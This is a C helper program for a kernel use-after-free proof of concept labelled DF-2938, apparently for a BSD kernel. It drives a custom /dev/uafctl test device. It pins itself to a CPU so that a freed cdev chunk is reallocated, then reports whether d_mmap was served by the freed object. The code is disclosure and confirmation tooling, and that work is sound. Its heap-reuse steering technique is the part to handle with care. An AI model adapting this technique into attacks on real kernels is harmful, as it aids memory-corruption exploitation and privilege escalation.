/*
 * ctl.c -- root-side helper for the DF-2938 PoC.
 * usage: ctl swap <cpu> | status
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/usched.h>
#include <sys/errno.h>
int usched_set(pid_t, int, void *, int);

struct uaf_status {
	void	*old_chunk;
	void	*cur_dev;
	void	*last_a_dev;
	int	reused;
	int	gen;
	int	faults;
};

#define IOCTL_UAF_SWAP		_IOW('u', 1, int)
#define IOCTL_UAF_STATUS	_IOR('u', 2, struct uaf_status)

int
main(int argc, char **argv)
{
	struct uaf_status st;
	int fd, cpu;

	if (argc < 2) { fprintf(stderr, "usage: ctl swap <cpu>|status\n"); return 1; }
	fd = open("/dev/uafctl", O_RDWR);
	if (fd < 0) { perror("open /dev/uafctl"); return 1; }

	if (!strcmp(argv[1], "swap")) {
		cpu = argc > 2 ? atoi(argv[2]) : 0;
		if (cpu >= 0) {
			/* bind self to cpu so the make_dev() in the ioctl
			 * runs on the cpu whose objcache magazine holds the
			 * freed chunk */
			if (usched_set(0, USCHED_SET_CPU, &cpu, sizeof(cpu)) < 0)
				perror("usched_set (continuing)");
		}
		if (ioctl(fd, IOCTL_UAF_SWAP, &cpu) < 0) {
			perror("ioctl SWAP"); return 1;
		}
		printf("swap: issued (cpu %d)\n", cpu);
	} else if (!strcmp(argv[1], "status")) {
		if (ioctl(fd, IOCTL_UAF_STATUS, &st) < 0) {
			perror("ioctl STATUS"); return 1;
		}
		printf("STATUS old_chunk=%p cur_dev=%p last_a_dev=%p "
		    "reused=%d gen=%d faults=%d\n",
		    st.old_chunk, st.cur_dev, st.last_a_dev,
		    st.reused, st.gen, st.faults);
		printf("VERDICT: d_mmap last served by %s (old_chunk=%p)\n",
		    st.last_a_dev == st.old_chunk ?
		    "THE FREED CDEV (UAF CONFIRMED)" : "live cdev",
		    st.old_chunk);
	}
	return 0;
}
